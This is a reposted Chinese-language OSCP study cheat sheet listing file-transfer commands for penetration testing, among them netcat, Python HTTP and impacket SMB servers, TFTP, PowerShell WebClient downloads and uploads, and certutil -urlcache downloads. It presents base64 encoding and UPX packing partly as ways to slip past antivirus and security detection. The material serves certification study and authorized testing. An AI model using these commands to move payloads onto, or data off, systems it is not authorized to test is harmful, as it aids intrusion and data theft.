当前位置: 首页 > news >正文

OSCP:常见文件传输方法

在渗透测试过程中,文件传输是一个关键环节,涉及不同的协议和工具,本文整理了 Linux 和 Windows 系统下常见的文件传输方法,并提供相应的命令示例。

通用文件传输方式

Base64 编码传输

Base64 可用于跨平台传输文件,避免因字符集或杀软拦截问题导致传输失败。

  • 编码:
    • Linux:base64 -w0 < file > file.b64
    • Windows:certutil -encode file.dll file.b64
  • 解码:
    • Linux:base64 -d file.b64 > file
    • Windows:certutil -decode file.b64 file.dll

HTTP 服务器(Python)

Python 内置 HTTP 服务器可用于快速文件传输:

  • Python3:python3 -m http.server 80
  • Python2:python -m SimpleHTTPServer 80
  • 下载文件:wget http://IP/file -O /tmp/file

Linux 文件传输

Netcat(nc)

Netcat 可用于文件传输,但需确保目标主机也安装了 nc

  • 发送文件:nc -nv $IP $PORT < file
  • 接收文件:nc -nlvp $PORT > file

SSH

  • 上传文件:scp file user@IP:/tmp/
  • 下载文件:scp user@IP:/tmp/file ./

FTP

  • 文件传输模式
    • 二进制模式(适用于可执行文件):ftp > binary
    • 文本模式(适用于可读内容):ftp > ascii

了解二者区别可阅读这篇文章:FTP binary and ASCII transfer types and the case of corrupt files

  • 快速搭建 FTP 服务器
    • apt-get install python-pyftpdlib
    • python -m pyftpdlib -p 21 -w

TFTP

TFTP 适用于传输小文件,但需要手动启动服务:

  • 启动 TFTP 服务器:service atftpd start
  • 客户端下载文件:tftp -i $IP GET file
  • 客户端上传文件:tftp -i $IP PUT file
  • Windows 启用 TFTP:pkgmgr /iu:"TFTP"

SMB(Windows 文件共享)

SMB 适用于 Windows 和 Linux 之间的文件共享。

  • 在 Linux 启动 SMB 服务器:impacket-smbserver -smb2support share ./
  • Windows 访问 SMB 共享:
    • 复制文件:copy \IP\sharefile C:\Temp
    • 挂载共享:net use Z: \\IP\share

Windows 文件传输

PowerShell

  • 下载文件:powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://IP/file', 'C:\file.exe')"
  • 上传文件:powershell -c "Invoke-RestMethod -Uri http://IP/upload.php -Method Post -Infile 'C:\file.exe'"

Certutil

Windows 内置 certutil 可用于文件下载:

  • certutil -urlcache -f http://IP/file C:\file.exe

其他方法

通过 UPX 压缩可执行文件(减少文件大小)

  • upx -9 file.exe

总结

文件传输在渗透测试过程中至关重要,常见方式包括:

  1. HTTP 服务器(Python 轻量级文件传输)
  2. SMB 共享(适用于 Windows 传输大文件)
  3. FTP/TFTP(适用于特定环境)
  4. Base64 编码(规避部分安全检测)
  5. PowerShell & Certutil(Windows 内置工具传输文件)

选择合适的传输方式,能有效提升渗透测试效率!

http://www.lryc.cn/news/529513.html

相关文章:

  • B站吴恩达机器学习笔记
  • Java 性能优化与新特性
  • 【计算机网络】host文件
  • 【C语言】在Windows上为可执行文件.exe添加自定义图标
  • 爬虫基础(五)爬虫基本原理
  • 力扣【1049. 最后一块石头的重量 II】Java题解(背包问题)
  • FFmpeg rtmp推流直播
  • WordPress Icegram Express插件Sql注入漏洞复现(CVE-2024-2876)(附脚本)
  • 重构字符串(767)
  • IO进程线程复习
  • 深入理解Linux内核的虚拟地址到物理地址转换机制及缓存优化
  • 2025年01月29日Github流行趋势
  • yolov11、yolov8部署的7种方法(yolov11、yolov8部署rknn的7种方法),一天一种部署方法,7天入门部署
  • 【ArcGIS遇上Python】批量提取多波段影像至单个波段
  • Node.js MySQL:深度解析与最佳实践
  • wordpress外贸独立站常用询盘软件
  • Kotlin 委托详解
  • Cursor 简介:AI 如何改变编程体验
  • Fiddler(一) - Fiddler简介_fiddler软件
  • 实测数据处理(Wk算法处理)——SAR成像算法系列(十二)
  • P1775 石子合并(弱化版)
  • 一文回顾讲解Java中的集合框架
  • 多模态论文笔记——NaViT
  • 智能小区物业管理系统推动数字化转型与提升用户居住体验
  • I2C基础知识
  • 护眼好帮手:Windows显示器调节工具
  • MongoDb user自定义 role 添加 action(collStats, EstimateDocumentCount)
  • mysql学习笔记-数据库其他调优策略
  • Office / WPS 公式、Mathtype 公式输入花体字、空心字
  • (done) MIT6.S081 2023 学习笔记 (Day6: LAB5 COW Fork)